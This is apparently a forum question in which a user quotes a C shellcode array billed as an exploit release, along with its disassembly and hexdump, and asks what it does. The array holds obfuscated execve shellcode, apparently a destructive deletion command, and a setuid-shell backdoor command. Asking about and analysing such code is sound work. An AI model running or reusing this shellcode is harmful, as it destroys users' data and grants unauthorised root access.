On this website, I found the following code:
char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68\"
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99\"
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7\"
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
“\x6e\x2f\x73\x68\x00\x2d\x63\x00"
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
I replaced the “
character with "
, removed trailing \
and put decoded it into a file. Here's what it disassembles to:
00000000 EB3E jmp short 0x40
00000002 5B pop ebx
00000003 31C0 xor eax,eax
00000005 50 push eax
00000006 54 push esp
00000007 5A pop edx
00000008 83EC64 sub esp,byte +0x64
0000000B 68FFFFFFFF push dword 0xffffffff
00000010 68DFD0DFD9 push dword 0xd9dfd0df
00000015 688D99DF81 push dword 0x81df998d
0000001A 688D92DFD2 push dword 0xd2df928d
0000001F 54 push esp
00000020 5E pop esi
00000021 F716 not dword [esi]
00000023 F75604 not dword [esi+0x4]
00000026 F75608 not dword [esi+0x8]
00000029 F7560C not dword [esi+0xc]
0000002C 83C474 add esp,byte +0x74
0000002F 56 push esi
00000030 8D7308 lea esi,[ebx+0x8]
00000033 56 push esi
00000034 53 push ebx
00000035 54 push esp
00000036 59 pop ecx
00000037 B00B mov al,0xb
00000039 CD80 int 0x80
0000003B 31C0 xor eax,eax
0000003D 40 inc eax
0000003E EBF9 jmp short 0x39
00000040 E8BDFFFFFF call dword 0x2
00000045 2F das
00000046 62696E bound ebp,[ecx+0x6e]
00000049 2F das
0000004A 7368 jnc 0xb4
0000004C 00 db 0x00
0000004D 2D db 0x2d
0000004E 6300 arpl [eax],ax
And here's a hexdump:
[17:20:46][~]$ hexdump -C /tmp/b
00000000 eb 3e 5b 31 c0 50 54 5a 83 ec 64 68 ff ff ff ff |.>[1.PTZ..dh....|
00000010 68 df d0 df d9 68 8d 99 df 81 68 8d 92 df d2 54 |h....h....h....T|
00000020 5e f7 16 f7 56 04 f7 56 08 f7 56 0c 83 c4 74 56 |^...V..V..V...tV|
00000030 8d 73 08 56 53 54 59 b0 0b cd 80 31 c0 40 eb f9 |.s.VSTY....1.@..|
00000040 e8 bd ff ff ff 2f 62 69 6e 2f 73 68 00 2d 63 00 |...../bin/sh.-c.|
00000050
What is it really? I can see /bin/sh
and a call to execve
so I guess it's some kind of shellcode, but I don't understand how it's run in this example (the char esp[] __attribute__ ((section(”.text”)))
part).